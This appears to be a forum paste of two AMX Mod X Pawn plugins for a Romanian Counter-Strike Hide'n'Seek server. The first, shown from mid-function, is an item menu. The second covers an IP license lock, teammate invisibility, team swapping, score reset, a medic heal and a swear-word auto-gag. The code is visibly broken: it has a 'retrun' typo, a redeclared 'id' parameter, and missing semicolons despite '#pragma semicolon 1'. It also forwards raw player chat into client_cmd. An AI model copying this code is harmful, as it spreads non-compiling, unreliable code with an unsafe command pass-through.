ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 M4A1^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count3 [ id ], count3 [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_m4a1" );
new eNtry = find_ent_by_owner ( -1, "weapon_m4a1", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 M4A1 3GL^x01 !" );
count3[id]=5;
}
case 6:
{
if ( count4 [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AK47^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count4 [ id ], count4 [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
if(user_has_weapon(id,CSW_AK47))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AK47")
return PLUGIN_HANDLED
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_ak47" );
new eNtry = find_ent_by_owner ( -1, "weapon_ak47", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AK47 3GL^x01 !" );
count4[id]=5;
}
case 7:
{
if ( count [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", count [ id ], count [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
if(user_has_weapon(id,CSW_AWP))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
return PLUGIN_HANDLED
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_awp" );
new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AWP 3GL^x01 !" );
count [ id ] = 5;
}
case 8:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
HaveSpeed [ id ] = true;
Event_CurWeapon ( id );
set_task ( 7.0, "remove_speed", id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 + 300 Viteza 7S^x01 !" );
}
case 9:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
set_user_godmode ( id, 1 );
set_task ( 10.0, "remove_godmode", id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Godmode 10S^x01 !" );
}
case 10:
{
if ( !is_user_alive ( id ) )
{
if ( incercari2 [ id ] == 3 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai cumparat deja^x04 Respawn^x01 de^x03 3^x01 ori !" );
return PLUGIN_HANDLED;
}
else
{
//AlreadyChoosed [ id ] = true;
ExecuteHamB ( Ham_CS_RoundRespawn, id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Respawn^x01 ! ( mai ai inca^x04 %i^x01 reinvier%s )", 2 - incercari2 [ id ], incercari2 [ id ] == 1 ? "e" : "i" );
incercari2 [ id ] += 1;
return PLUGIN_HANDLED;
}
}
else if ( is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi^x03 MORT^x01 ca sa cumperi^x04 RESPSAWN^x01 !" );
return PLUGIN_HANDLED;
}
}
}
menu_destroy ( menu );
return 0;
}
public RemoveInvis ( id )
{
set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 255 );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Acum esti dinou^x03 Vizibil^x01 !" );
}
public remove_speed ( id )
{
if( HaveSpeed [ id ] )
{
HaveSpeed [ id ] = false;
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu mai ai^x03 + 300 Viteza^x01 !" );
}
if ( HaveSpeed2 [ id ] )
{
HaveSpeed2 [ id ] = false;
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu mai ai^x03 + 270 Viteza^x01 !" );
}
}
public remove_godmode ( id )
{
set_user_godmode ( id, 0 );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu mai ai^x03 Godmode^x01 !" );
}
public Event_CurWeapon ( id )
{
if ( HaveSpeed [ id ] )
{
set_user_maxspeed ( id, 300.0 );
}
if ( HaveSpeed2 [ id ] )
{
set_user_maxspeed ( id, 270.0 );
}
}
public msgScoreAttrib(msgid, dest, id)
{
new id = get_msg_arg_int(1);
if( ( get_user_flags ( id ) & ADMIN_LEVEL_D ) || ( get_user_flags ( id ) & ADMIN_LEVEL_H ) || ( get_user_flags ( id ) & ADMIN_RCON ) && ( get_user_team ( id ) == 2 ))
set_msg_arg_int(2, ARG_BYTE, is_user_alive(id) ? (1<<2) : (1<<0));
return PLUGIN_CONTINUE;
}
public client_disconnect ( id )
{
AlreadyChoosed [ id ] = false;
HaveSpeed [ id ] = false;
HaveSpeed2 [ id ] = false;
incercari [ id ] = 0;
incercari1 [ id ] = 0;
incercari2 [ id ] = 0;
count [ id ] = 0;
count2 [ id ] = 0;
count3 [ id ] = 0;
count4 [ id ] = 0;
if ( task_exists ( id ) )
{
remove_task ( id );
}
}
#pragma semicolon 1
multi chestie
Code: Select all
/* Plugin generated by AMXX-Studio */
#include < amxmodx >
#include < cstrike >
#include < fun >
#include < hamsandwich >
#include < colorchat >
#include <engine>
#include <fakemeta>
#include <amxmisc>
#include <fakemeta_util>
#include < nvault >
//#include < CC_ColorChat >
static const
ServerLicensedIp[ ] = "89.40.233.28:27015";
#if cellbits == 32
#define OFFSET_CSMONEY 115
#else
#define OFFSET_CSMONEY 140
#endif
#define OFFSET_LINUX 5
new MODE,REG_HEALTH, MAXHEALTH, COSTS,SHOUT, MESSAGE, COOLDOWN
new PlayerReload[33]
#define TAG "[HNS.PLAY-ARENA.RO]" // > HNS.
#define MAX_ENTITYS 900+15*32
new bool:g_bPlayerInvisible[33];
new bool:g_bWaterInvisible[33];
new bool:g_bWaterEntity[MAX_ENTITYS];
new bool:g_bWaterFound;
new g_iSpectatedId[33];
#define ADMIN_ACCESS ADMIN_IMMUNITY
new cvar_on, cvar_dead
new bool:g_knife[33];
#define COMMAND_ACCESS ADMIN_KICK // accesu adminilor pentru comanda
#if AMXX_VERSION_NUM < 183
#define MAX_PLAYERS 32
#else
#if MAX_PLAYERS != 32
#define MAX_PLAYERS 32
#endif
#endif
enum
{
INFO_NAME,
INFO_IP,
INFO_AUTHID
};
new const bars[ ] = "/";
new command[ ] [ ] =
{
"/gag",
"/ungag"
};
new Caccess[ ] =
{
COMMAND_ACCESS,
COMMAND_ACCESS
};
new const gGagTag[ ] = "Gag#";
new const gGagFileName[ ] = "gag_words.ini";
new const gLogFileName[ ] = "GagLog.log";
new const gGagThinkerClassname[ ] = "GagThinker_";
new const gGagVaultName[ ] = "GaggedPlayers";
new const gGaggedSound[ ] = "misc/gag_dat.wav";
new const gUnGaggedSound[ ] = "misc/gag_scos.wav";
new const gHalfLifeGaggedSounds[ ][ ] =
{
"barney/youtalkmuch.wav",
"scientist/stopasking.wav",
"scientist/shutup.wav",
"scientist/shutup2.wav",
"hgrunt/silence!.wav"
};
new PlayerGagged[ MAX_PLAYERS ];
new PlayerGagTime[ MAX_PLAYERS ];
new JoinTime[ MAX_PLAYERS ];
new szName[ MAX_PLAYERS ], g_reason[ 32 ];
new g_Words[ 562 ] [ 32 ], g_Count;
new szOldName[ MAX_PLAYERS ] [ 40 ];
new gCvarSwearGagTime;
new gCvarGagMinuteLimit;
new gCvarGagMinuteInSeconds;
new gCvarAdminGag;
new gCvarTagName;
new gCvarWords;
new gCvarTag;
new gMaxPlayers;
new gVault;
public plugin_init ( )
{
new szIp[ 25 ], szPluginName[ 32 ]; // IP>20 | 22
get_user_ip( 0, szIp, sizeof( szIp ) -1/*, 1*/ ); // charsmax fara -1 / , 0 (cu port) in loc de sizeof
if( equal( szIp, ServerLicensedIp ) ) // contain? in loc de equal
{
register_event ( "CurWeapon", "current_weapon", "be", "1=1" );
register_clcmd( "say /invis", "menuInvisDisplay" );
register_menucmd( register_menuid( "\r[\yHNS.PLAY-ARENA.RO\r] \w- Invizibilitate \y[\rFPS\y]^n^n" ), 1023, "menuInvisAction" );
register_forward( FM_AddToFullPack, "fwdAddToFullPack_Post", 1 );
RegisterHam( Ham_Spawn, "player", "hamSpawnPlayer_Post", 1 );
register_event( "SpecHealth2", "eventSpecHealth2", "bd" );
register_concmd( "amx_spec", "swap_team", ADMIN_SLAY, "[ Nume Jucator ]" )
register_concmd( "amx_t", "swap_team", ADMIN_SLAY, "[ Nume Jucator ]" )
register_concmd( "amx_ct", "swap_team", ADMIN_SLAY, "[ Nume Jucator ]" )
register_clcmd("say /resetscore", "cmdReset");
register_clcmd("say /rs", "cmdReset");
register_clcmd("say_team /resetscore", "cmdReset");
register_clcmd("resetscore", "cmdReset");
register_concmd("amx_resetscore", "conReset", ADMIN_IMMUNITY, "- reseteaza scorul tuturor");
cvar_on = register_cvar("amx_reset_plugin", "1");
cvar_dead = register_cvar("amx_reset_dead","1");
/* Register CVARs */
MODE = register_cvar("medic_enabled","1") /* Mode 1: On ;; Mode 0: Off */
REG_HEALTH = register_cvar("medic_health","50") // How many Health you get instantly?
MAXHEALTH = register_cvar("medic_maxhp","101") // Maximal HP for everyone
COSTS = register_cvar("medic_costs","1") // How many costs medic?
SHOUT = register_cvar("medic_shout","1") // Shout Medic if you buy medic?
MESSAGE = register_cvar("medic_message","0") // Write a Message if you buy medic?
COOLDOWN = register_cvar("medic_cooldown","10") // Cooldown-Time in Seconds
/* Register Commands */
register_clcmd("/medic","call_medic",ADMIN_ALL)
register_clcmd("medic","call_medic",ADMIN_ALL)
register_clcmd("say /medic","call_medic",ADMIN_ALL)
register_clcmd("say medic","call_medic",ADMIN_ALL)
register_clcmd("say_team /medic","call_medic",ADMIN_ALL)
register_clcmd("say_team medic","call_medic",ADMIN_ALL)
register_clcmd("say /knife", "no_knife")
register_concmd( "amx_gag", "CommandGag" );
register_concmd( "amx_ungag", "CommandUngag" );
register_clcmd( "say", "CheckGag" );
register_clcmd( "say_team", "CheckGag" );
register_clcmd( "say", "command_chat" );
GagThinker( );
register_think( gGagThinkerClassname, "Forward_GagThinker" );
gCvarSwearGagTime = register_cvar( "amx_autogag_time", "1" ); // minutele pentru gag cand ia autogag
gCvarGagMinuteLimit = register_cvar( "amx_gag_minute_limit", "9999" ); // limita maxima pentru gag minute
gCvarGagMinuteInSeconds = register_cvar( "amx_gag_minute_in_seconds", "60" ); // minute in secunde
gCvarTagName = register_cvar( "amx_gag_tagname", "0" ); // pune taguri la gag
gCvarAdminGag = register_cvar( "amx_admingag", "1" ); // poti da si la admini gag daca e egal cu 1, daca e 0 nu poti
gCvarWords = register_cvar( "amx_maxwords", "200" ); // lista maxima de cuvinte in gag_words.ini
gCvarTag = register_cvar( "amx_gagtag", "" ); // tag-ul din chat
gMaxPlayers = get_maxplayers( );
formatex( szPluginName, sizeof( szPluginName ) -1, "[>> IP Licentiat <<] M-PLG" );
register_plugin( szPluginName, "0.0.1X", "raiz0" );
server_print( "[ %s ] IP-ul serverului este licentiat ! Pluginul va functiona perfect !", "M-PLG" );
server_print( "[ %s ] Pentru mai multe detalii add Y!M: [email protected] ( %s ) !", "M-PLG", "raiz0" );
server_print( "[ %s ] IP-ul Corespunzator: %s | Ip-ul Serverului: %s | AUTHOR: %s", "M-PLG", ServerLicensedIp, szIp, "raiz0" );
}
else
{
formatex( szPluginName, sizeof( szPluginName ) -1, "[>> IP Nelicentiat <<] M-PLG" );
register_plugin( szPluginName, "0.0.1X", "raiz0" );
server_print( "[ %s ] Nu detii o licenta valabila ! Plugin-ul nu va functiona pe acest server !", "M-PLG" );
server_print( "[ %s ] Pentru mai multe detalii add Y!M: florynboss54 ( %s ) !", "M-PLG", "raiz0" );
server_print( "[ %s ] IP-ul Corespunzator: %s | IP-ul Serverului: %s | AUTHOR: %s", "M-PLG", ServerLicensedIp, szIp, "raiz0" );
pause( "ade" );
}
}
public plugin_precache() {
precache_sound("medic.wav")
new i;
for( i = 0; i < sizeof gHalfLifeGaggedSounds; i++ )
{
precache_sound( gHalfLifeGaggedSounds[ i ] );
}
precache_sound( gGaggedSound );
precache_sound( gUnGaggedSound );
}
public plugin_cfg( )
{
new ent = -1;
while( ( ent = find_ent_by_class( ent, "func_water" ) ) != 0 )
{
// pev( ent, pev_skin ) == CONTENTS_WATER is also true on func_water entities
if( !g_bWaterFound )
{
g_bWaterFound = true;
}
g_bWaterEntity[ent] = true;
}
ent = -1;
while( ( ent = find_ent_by_class( ent, "func_illusionary" ) ) != 0 )
{
if( pev( ent, pev_skin ) == CONTENTS_WATER )
{
if( !g_bWaterFound )
{
g_bWaterFound = true;
}
g_bWaterEntity[ent] = true;
}
}
ent = -1;
while( ( ent = find_ent_by_class( ent, "func_conveyor" ) ) != 0 )
{
if( pev( ent, pev_spawnflags ) == 3 )
{
if( !g_bWaterFound )
{
g_bWaterFound = true;
}
g_bWaterEntity[ent] = true;
}
}
static szConfigDir[ 64 ], iFile[ 64 ];
get_localinfo ( "amxx_configsdir", szConfigDir, 63 );
formatex ( iFile , charsmax( iFile ) , "%s/%s" , szConfigDir, gGagFileName );
if( !file_exists( iFile ) )
{
write_file( iFile, "# Pune aici cuvintele jignitoare sau reclamele", -1 );
log_to_file( gLogFileName, "Fisierul <%s> nu exista! Creez unul nou acum...", iFile );
}
new szBuffer[ 128 ];
new szFile = fopen( iFile, "rt" );
while( !feof( szFile ) )
{
fgets( szFile, szBuffer, charsmax( szBuffer ) );
if( szBuffer[ 0 ] == '#' )
{
continue;
}
parse( szBuffer, g_Words[ g_Count ], sizeof g_Words[ ] - 1 );
g_Count++;
if( g_Count >= get_pcvar_num ( gCvarWords ) )
{
break;
}
}
fclose( szFile );
}
public client_connect ( id )
{
PlayerReload[id] = 0
LoadGag( id );
}
public client_disconnected ( id )
{
g_bPlayerInvisible[id] = false;
g_bWaterInvisible[id] = false;
g_iSpectatedId[id] = 0;
PlayerReload[id] = 0
g_knife[id] = false
if ( PlayerGagged[ id ] == 1 )
{
ColorChat( 0, RED, "^4%s^1 Jucatorul cu gag^4 %s^1(^3%s^1|^3%s^1), s-a deconectat!", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO]Jucatorul cu gag <%s><%s><%s>, s-a deconectat!", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
}
JoinTime[ id ] = 0 ;
SaveGag( id );
}
public client_putinserver ( id )
{
// set_task ( 7.5 , "menuInvisDisplay" , id );
g_knife[id] = false
if ( is_user_connected( id ) )
{
JoinTime[ id ] = get_systime( );
}
}
public fwdAddToFullPack_Post( es_handle, e, ent, host, hostflags, player, pset )
{
if( player && g_bPlayerInvisible[host] && host != ent && ent != g_iSpectatedId[host] && get_user_team(host) == get_user_team(ent) )
{
static const Float:corner[8][3] =
{
{ -4096.0, -4096.0, -4096.0 },
{ -4096.0, -4096.0, 4096.0 },
{ -4096.0, 4096.0, -4096.0 },
{ -4096.0, 4096.0, 4096.0 },
{ 4096.0, -4096.0, -4096.0 },
{ 4096.0, -4096.0, 4096.0 },
{ 4096.0, 4096.0, -4096.0 },
{ 4096.0, 4096.0, 4096.0 }
};
static const Float:map_distance = 7094.480108;
static Float:origin[3];
get_es( es_handle, ES_Origin, origin );
static i;
while( get_distance_f( origin, corner[i] ) > map_distance )
{
if( ++i >= sizeof( corner ) )
{
i = 0;
}
}
set_es( es_handle, ES_Origin, corner[i] );
set_es( es_handle, ES_Effects, get_es( es_handle, ES_Effects ) | EF_NODRAW );
}
else if( g_bWaterInvisible[host] && g_bWaterEntity[ent])
{
set_es( es_handle, ES_Effects, get_es( es_handle, ES_Effects ) | EF_NODRAW );
}
}
public hamSpawnPlayer_Post( id )
{
g_iSpectatedId[id] = 0;
}
public eventSpecHealth2( id )
{
g_iSpectatedId[id] = read_data( 2 );
}
public menuInvisDisplay( id )
{
static menu[256];
new len = formatex( menu, 255, "\r[\yHNS.PLAY-ARENA.RO\r] \w- Invizibilitate \y[\rFPS\y]^n^n" );
len += formatex( menu[len], 255 - len, "\r1. \yCoechipieri: \w%s^n", g_bPlayerInvisible[id] ? "invizibili" : "vizibili" );
if( g_bWaterFound )
{
len += formatex( menu[len], 255 - len, "\r2. \yApa: \w%s^n", g_bWaterInvisible[id] ? "invizibila" : "vizibila" );
}
else
{
len += formatex( menu[len], 255 - len, "\r2. \yApa: \rNu exista pe aceasta mapa \w!^n" );
}
len += formatex( menu[len], 255 - len, "^n\r0. \yIesire" );
show_menu( id, ( 1<<0 | 1<<1 | 1<<9 ), menu, -1 );
return PLUGIN_HANDLED;
}
public menuInvisAction( id, key )
{
switch( key )
{
case 0:
{
g_bPlayerInvisible[id] = !g_bPlayerInvisible[id];
menuInvisDisplay( id );
}
case 1:
{
if( g_bWaterFound )
{
g_bWaterInvisible[id] = !g_bWaterInvisible[id];
}
menuInvisDisplay( id );
}
case 9: show_menu( id, 0, "" );
}
}
public swap_team( id )
{
if( !( get_user_flags( id ) & ADMIN_SLAY ) )
{
return PLUGIN_HANDLED
}
new szArg[ 10 ], target[ 32 ], szPlayerName[ 32 ], szAdminName[ 32 ]
read_argv( 0, szArg, 9 )
read_argv( 1, target, 31 )
new player = cmd_target( id, target, 11 )
if( !player )
return PLUGIN_HANDLED
get_user_name( player, szPlayerName, 31 )
get_user_name( id, szAdminName, 31 )
switch( szArg[ 4 ] )
{
case 't':
{
if( cs_get_user_team( player ) == CS_TEAM_T )
{
client_print( id, print_console, "[ HnS.play-arena.Ro ] Jucatorul este deja la terroristi." )
return PLUGIN_HANDLED
}
else
{
user_silentkill( player )
cs_set_user_team( player, CS_TEAM_T )
chat_colorx( 0, "!n[!gHnS.Play-Arena.Ro!n] [ !t%s!n ] Il transfera pe [ !g%s!n ] la [ !tTero!n ]", szAdminName, szPlayerName )
}
}
case 'c':
{
if( cs_get_user_team( player ) == CS_TEAM_CT )
{
client_print( id, print_console, "[ HnS.Play-Arena.Ro ] Jucatorul este deja la counter-terroristi." )
return PLUGIN_HANDLED
}
else
{
user_silentkill( player )
cs_set_user_team( player, CS_TEAM_CT )
chat_colorx( 0, "!n[!gHnS.Play-Arena.Ro!n] [ !t%s!n ] Il transfera pe [ !g%s!n ] la [ !tCt!n ]", szAdminName, szPlayerName )
}
}
case 's':
{
if( cs_get_user_team( player ) == CS_TEAM_SPECTATOR )
{
client_print( id, print_console, "[ HnS.Play-Arena.Ro ] Jucatorul este deja la spectatori." )
return PLUGIN_HANDLED
}
else
{
user_silentkill( player )
cs_set_user_team( player, CS_TEAM_SPECTATOR )
chat_colorx( 0, "!n[!gHnS.Play-Arena.Ro!n] [ !t%s!n ] Il transfera pe [ !g%s!n ] la [ !tSpec!n ]", szAdminName, szPlayerName )
}
}
}
return PLUGIN_CONTINUE
}
public cmdReset(id) {
if(get_pcvar_num(cvar_on) == 0) {
ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Pluginul este^3 dezactivat");
return PLUGIN_HANDLED;
}
if(get_pcvar_num(cvar_dead) == 0 && !is_user_alive(id)) {
ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Poti folosii comanda numai atunci cand esti viu.");
return PLUGIN_HANDLED;
}
new frags = get_user_frags(id);
new deaths = get_user_deaths(id);
if(frags == 0 && deaths == 0)
ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Scorul tau este deja^3 0");
else {
for(new i = 0; i < 2; i++) {
cs_set_user_deaths(id, 0);
set_user_frags(id, 0);
}
new name[32];
get_user_name(id, name, 31);
ColorChat(id, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^1 Scorul tau s-a^3 Resetat^1.");
ColorChat(0, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^3 %s^1 si-a resetat^4 Scorul^1.", name);
}
return PLUGIN_HANDLED;
}
public conReset(id) {
if(get_user_flags(id)&ADMIN_ACCESS) {
new players[32], num, player;
get_players(players, num, "c");
for(new i = 0; i < num; i++) {
player = players[i];
if(get_user_frags(player) != 0 && get_user_deaths(player) != 0) {
cs_set_user_deaths(player, 0);
set_user_frags(player, 0);
}
}
new name[32];
get_user_name(id, name, 31);
ColorChat(0, NORMAL,"^4[^1 HnS.Play-Arena.Ro^4 ]^3 %s^1 a resetat^4 Scorul^3 Tuturor^1.", name);
}
else
console_print(id, "Nu ai acces la aceasta comanda.");
return PLUGIN_HANDLED;
}
public call_medic(id) {
/* Mods and Stuff */
if(get_pcvar_num(MODE) == 1 && PlayerReload[id] < time())
{
new ActuellHP = get_user_health(id);
new ActuellMoney = fm_cs_get_user_money(id);
if(ActuellMoney < get_pcvar_num(COSTS))
{
ColorChat(id,NORMAL,"^x04%s^x01 Nu ai destui bani, pentru a chema Medicul",TAG)
}
else
{
if(ActuellHP < get_pcvar_num(MAXHEALTH))
{
/* Shout if activated */
/* Write message if activated */
new playerCount, i, players[32], name[33];
get_players(players, playerCount, "ach");
get_user_name(id,name,32)
for(i=1; i<=playerCount; i++)
{
if(get_user_team(id) == get_user_team(i))
{
if(get_pcvar_num(MESSAGE) == 1)
{
ColorChat(i,NORMAL,"^x04%s^x0 (^x03 RADIO^x01 ):^x04 Medic^x01 !",name)
if(get_pcvar_num(SHOUT) == 1)
{
engfunc(EngFunc_EmitSound, i, CHAN_ITEM, "medic.wav", 1.0, ATTN_NORM, 0, PITCH_NORM);
}
}
}
}
new Float:Lebenplus = get_pcvar_float(REG_HEALTH);
if(ActuellHP + Lebenplus > get_pcvar_num(MAXHEALTH))
{
set_pev(id,pev_health,get_pcvar_float(MAXHEALTH))
}
else
{
set_pev(id,pev_health,ActuellHP + Lebenplus);
}
PlayerReload[id] = time() + get_pcvar_num(COOLDOWN) /* Activate Reload */
fm_cs_set_user_money(id,ActuellMoney-get_pcvar_num(COSTS),1) /* Pay.. */
}
else
{
ColorChat(id,NORMAL,"^x04%s^x01 Ai deja^x03 %d HP^x01 !",TAG,get_pcvar_num(MAXHEALTH))
}
}
}
else
{
if(get_pcvar_num(MODE) != 1)
ColorChat(id,NORMAL,"^x04%s^x03 Chemarea Medicului^x01 este^x04 DEZACTIVATA^x01 !",TAG)
else
{
new Seconds = PlayerReload[id] - time()
ColorChat(id,NORMAL,"^x04%s^x01 Prietene, chemi prea des medicul. Asteapta^x03 %i^x01 secunde..",TAG,Seconds)
}
}
return PLUGIN_HANDLED;
}
stock fm_cs_set_user_money(id,money,flash=1)
{
set_pdata_int(id,OFFSET_CSMONEY,money,OFFSET_LINUX);
message_begin(MSG_ONE,get_user_msgid("Money"),{0,0,0},id);
write_long(money);
write_byte(flash);
message_end();
}
stock fm_cs_get_user_money(id)
{
return get_pdata_int(id,OFFSET_CSMONEY,OFFSET_LINUX);
}
public current_weapon(id)
{
if(!is_user_alive(id))
{
return PLUGIN_CONTINUE
}
if(cs_get_user_team(id) == CS_TEAM_T)
{
if(get_user_weapon(id) != CSW_KNIFE)
{
return PLUGIN_CONTINUE;
}
else
{
if(g_knife[id])
{
set_pev(id, pev_viewmodel2, "models/v_knife.mdl")
set_pev(id, pev_weaponmodel2, "models/p_knife.mdl")
}
else
{
set_pev(id, pev_viewmodel2, "")
set_pev(id, pev_weaponmodel2, "")
}
}
}
return PLUGIN_CONTINUE
}
public no_knife(id)
{
if(is_user_alive(id))
{
if(cs_get_user_team(id))
{
if(g_knife[id])
{
g_knife[id] = false
ham_strip_user_weapon(id, CSW_KNIFE);
chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].e Cutitul.g a.v Disparut")
fm_give_item(id, "weapon_knife")
engclient_cmd(id, "weapon_knife")
}
else
{
g_knife[id] = true
ham_strip_user_weapon(id, CSW_KNIFE);
chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].g Acum iti vezi.e Cutitul")
fm_give_item(id, "weapon_knife")
engclient_cmd(id, "weapon_knife")
}
}
else
{
chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].g Esti.e CT.g Nu poti folosi acest.v Meniu.g.")
}
}
else
{
chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].g Trebuie sa fii in.e Viata.g pentru a folosi aceasta.v Comanda.g.")
}
}
public command_chat( index )
{
static szArg[ 192 ], command2[ 192 ];
read_args( szArg, charsmax ( szArg ) );
if( ! szArg [ 0 ] ) return PLUGIN_CONTINUE;
remove_quotes( szArg[0] );
for( new x; x < sizeof command; x++ )
{
if ( equal ( szArg, command [ x ], strlen ( command [ x ] ) ) )
{
if ( get_user_flags ( index ) & Caccess [ x ] )
{
replace( szArg, charsmax ( szArg ), bars, "" );
formatex( command2, charsmax(command2), "amx_%s", szArg );
client_cmd( index, command2 );
}
break;
}
}
return PLUGIN_CONTINUE;
}
public CheckGag( id )
{
new szSaid[ 300 ];
read_args( szSaid, charsmax( szSaid ) );
remove_quotes( szSaid );
if( !UTIL_IsValidMessage( szSaid ) )
{
return PLUGIN_HANDLED;
}
if(!is_user_connected(id)) retrun PLUGIN_HANDLED
if ( PlayerGagged[ id ] == 1 )
{
PlayerGagged[ id ] = 1;
ColorChat( id, RED, "^4%s^1 Ai primit Gag pentru limbaj vulgar, asteapta^4 %d^1 minute! Motiv^3 %s", get_tag( ), PlayerGagTime[ id ], g_reason );
client_cmd( id, "speak ^"%s^"", gHalfLifeGaggedSounds[ random_num( 0, charsmax( gHalfLifeGaggedSounds ) ) ] );
return PLUGIN_HANDLED;
}
else
{
new i;
for( i = 0; i < get_pcvar_num ( gCvarWords ); i++ )
{
if( containi( szSaid, g_Words[ i ] ) != -1 )
{
if( get_pcvar_num( gCvarAdminGag ) == 0 )
{
if ( is_user_admin ( id ) )
{
return 1;
}
}
get_user_name( id, szName, sizeof ( szName ) -1 );
if ( get_pcvar_num( gCvarTagName ) == 1 )
{
client_cmd( id, "name ^"%s %s^"", gGagTag, szName );
}
szOldName[ id ] = szName;
PlayerGagged[ id ] = 1;
PlayerGagTime[ id ] = get_pcvar_num ( gCvarSwearGagTime );
set_speak( id, SPEAK_MUTED );
ColorChat( 0, RED, "^3%s^4 %s^1 (^3%s^1)^1 a primit AutoGag pentru limbaj sau reclama!", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ) );
ColorChat( id, RED, "^4%s^1 Ai primit AutoGag pentru injuratura sau reclama! Timpul expira in:^4 %d^1 minute!", get_tag( ), PlayerGagTime[ id ] );
ColorChat( id, RED, "^4%s^1 Nu mai poti folosi urmatoarele comenzi:^4 say^1,^4 say_team^1,^4 voice speak", get_tag( ) );
